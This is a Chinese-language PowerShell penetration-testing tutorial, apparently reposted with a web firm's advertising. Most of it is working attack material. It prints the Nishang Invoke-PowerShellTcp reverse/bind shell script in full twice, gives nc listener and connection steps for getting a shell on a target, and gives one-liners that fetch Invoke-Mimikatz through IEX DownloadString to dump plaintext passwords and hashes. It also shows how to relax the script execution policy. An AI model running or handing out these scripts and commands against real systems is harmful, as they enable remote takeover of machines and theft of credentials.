小編給大家分享一下Powershell滲透測試的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
創(chuàng)新互聯(lián)專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、網(wǎng)站制作、房山網(wǎng)絡(luò)推廣、小程序開發(fā)、房山網(wǎng)絡(luò)營銷、房山企業(yè)策劃、房山品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)為所有大學(xué)生創(chuàng)業(yè)者提供房山建站搭建服務(wù),24小時(shí)服務(wù)熱線:13518219792,官方網(wǎng)址:www.cdcxhl.com
-< Required Parameter Name > 命令 -名稱 請求參數(shù)名 請求參數(shù)值 [ -< Optional Parameter Name > ] [ -< Optional Switch Parameters >] [ -< Optional Parameter Name >]
許多命令都有別名以及使用DOS的人或Unix這些可以非常熟悉。 別名是一種簡短的命令形式但是其作用是等價(jià)的。
Command Aliases (命令別名) clear-host cls, clear format-list flget-childitem gci, ls, dirget-content gc, cat, typeget-location gl, pwdget-member gmremove-item ri, rm, rmdir, del, erase, rdwrite-output write, echo
Powershell腳本執(zhí)行策略是默認(rèn)不允許執(zhí)行任何腳本,如果我們沒有修改過執(zhí)行策略而直接運(yùn)行可能出現(xiàn)以下問題。
解決辦法
首先查看腳本執(zhí)行策略設(shè)置情況,可以通過 Get-ExecutionPolicyget-executionpolicy命令。如果顯示 Restricted 即不允許執(zhí)行任何腳本。使用管理員身份運(yùn)行powerhsell然后執(zhí)行命令:set-executionpolicy remotesigned 回車之后即可執(zhí)行腳本。
該腳本取之于nishang這個(gè)框架,Nishang是一個(gè)PowerShell攻擊框架,它是PowerShell攻擊腳本和有效載荷的一個(gè)集合。Nishang被廣泛應(yīng)用于滲透測試的各個(gè)階段。下載地址:https://github.com/samratashok/nishang。
先貼上其TCP交互式PowerShell腳本(建立一個(gè)TCP正向連接或反向連接shell )代碼如下:
function Invoke-PowerShellTcp { <#.SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注釋部分#> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } }
注釋部分描述了腳本的概要、用途、腳本的事例、參考鏈接等信息。
<#.SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注釋部分#>
DefaultParameterSetName="reverse" 說明默認(rèn)采用反向shell連接的方式.可選參數(shù)和強(qiáng)制參數(shù)必須同時(shí)使用 reverse和bind可選默認(rèn)值為reverse,但是$IPAddress和$Port必須進(jìn)行設(shè)置。最后根據(jù)輸入的內(nèi)容匹配類型獲取最終值。
[CmdletBinding(DefaultParameterSetName="reverse")] Param( <# DefaultParameterSetName="reverse" 說明默認(rèn)采用反向shell連接的方式。 可選參數(shù)和強(qiáng)制參數(shù)必須同時(shí)使用 reverse和bind可選默認(rèn)值為reverse,但是$IPAddress和$Port必須 進(jìn)行設(shè)置。 $IPAddress 目標(biāo)IP地址 $Port 目標(biāo)端口 #> [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, <# 根據(jù)輸入的內(nèi)容匹配類型 #> [Parameter(ParameterSetName="bind")] [Switch] $Bind )
try { # 連接有可能出錯(cuò)所以這里使用個(gè)異常處理trt catch, # 判斷是否存在對應(yīng)值,如果存在建立TCP反向shell連接,本機(jī)充當(dāng)客戶端。 if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } # 判斷是否存在對應(yīng)值,如果存在建立TCP正向shell連接,本機(jī)充當(dāng)服務(wù)端。 if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } # 構(gòu)建數(shù)據(jù)流 $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #把靶機(jī)的相關(guān)信息發(fā)送到攻擊機(jī)中去 $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #交互式信息提示 $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) # 判斷數(shù)據(jù)是否傳輸完成,不完成就傳輸完為止 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #執(zhí)行命令,然后輸出 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { # 異常處理 Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } # 用于返回當(dāng)前路徑 $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) # 清楚錯(cuò)誤 $error.clear() $sendback2 = $sendback2 + $x #返回ASCII編碼過后的數(shù)據(jù) $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() # 刷新流 } # 關(guān)閉連接 $client.Close() if ($listener) { $listener.Stop() } } catch { # 異常處理 Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ }
導(dǎo)入命令模式就是先導(dǎo)入ps1文件到powershell然后可以直接在命令行運(yùn)行函數(shù)。
Import-Module '.\Invoke-PowerShellTcp .ps1'
反向連接
第一步 :在攻擊機(jī)上使用nc監(jiān)聽本地端口4444(先監(jiān)聽后連接,不然會(huì)出錯(cuò)。)
第二步:靶機(jī)運(yùn)行連接命令
Invoke-PowerShellTcp -Reverse -IPAddress 攻擊機(jī)ip -Port 攻擊機(jī)監(jiān)聽的端口
第三步: 成功連接,獲取shell
正向連接
第一步: 靶機(jī)開啟監(jiān)聽
Invoke-PowerShellTcp -bind -port 4444
第二步: 攻擊機(jī)nc連接靶機(jī)
nc -nv 192.168.17.132 4444
第三步:成功連接,獲取到shell
該模式不需要進(jìn)行導(dǎo)入powershell,直接運(yùn)行腳本。
正向連接
第一步: 在ps1文件中加入執(zhí)行監(jiān)聽命令
Invoke-PowerShellTcp -bind
第二步: 運(yùn)行ps1文件,設(shè)置監(jiān)聽端口,開啟監(jiān)聽
.\Invoke-PowerShellTcp.ps1
第三步: 攻擊機(jī)nc連接靶機(jī),獲取shell
反向連接
第一步:攻擊機(jī)監(jiān)聽端口
nc -lvp 8888
第二步: 在ps1文件中加入執(zhí)行連接命令
Invoke-PowerShellTcp -reverse 192.168.17.134 8888
第三步: 獲取shell
實(shí)戰(zhàn)過程中在獲取低權(quán)限用戶之后我們?yōu)榱藬U(kuò)展戰(zhàn)果我們就不得不提權(quán),在沒有0day的基礎(chǔ)上最簡單的提權(quán)方式就是直接獲取目標(biāo)主機(jī)的管理員賬號密碼。說起獲取密碼就不得不提提Mimikatz 這款工具了。mimikatz是由C語言編寫的開源小工具,功能非常強(qiáng)大。它支持從Windows系統(tǒng)內(nèi)存中提取明文密碼、哈希、PIN碼和Kerberos憑證,以及pass-the-hash、pass-the-ticket、build Golden tickets等數(shù)種黑客技術(shù)。
我這里講的是Powershell結(jié)合Mimikatz的使用。實(shí)驗(yàn)環(huán)境為騰訊云的一臺服務(wù)器window server 2008。
第一步: 下載Invoke-Mimikatz.ps1
Invoke-Mimikatz.ps1下載地址
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
第二步:直接一句話運(yùn)行
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'#或者 本地搭建網(wǎng)絡(luò)環(huán)境http://192.168.1.1/powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" <#假如存在執(zhí)行策略問題:Get-ExecutionPolicy //結(jié)果顯示restrictedSet-ExecutionPolicy Unrestricted //打開限制 Import-Module .\Invoke-Mimikatz.ps1 //導(dǎo)入命令 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //獲取密碼#>
第三步:成功獲取明文密碼
第一步:直接執(zhí)行命令
在 Windows 2008 及以上操作系統(tǒng)中執(zhí)?命令
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I nvoke-Mimikatz -DumpCreds"
注意點(diǎn):靶機(jī)必須可以正常訪問raw.githubusercontent.com 網(wǎng)絡(luò),因?yàn)樾枰B接下載ps1文件。 Windows Server 2014以上版本僅能獲取到NTLM值,無法正常獲取明文密碼。
第二步: 成功獲取明文密碼
以上是“Powershell滲透測試的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!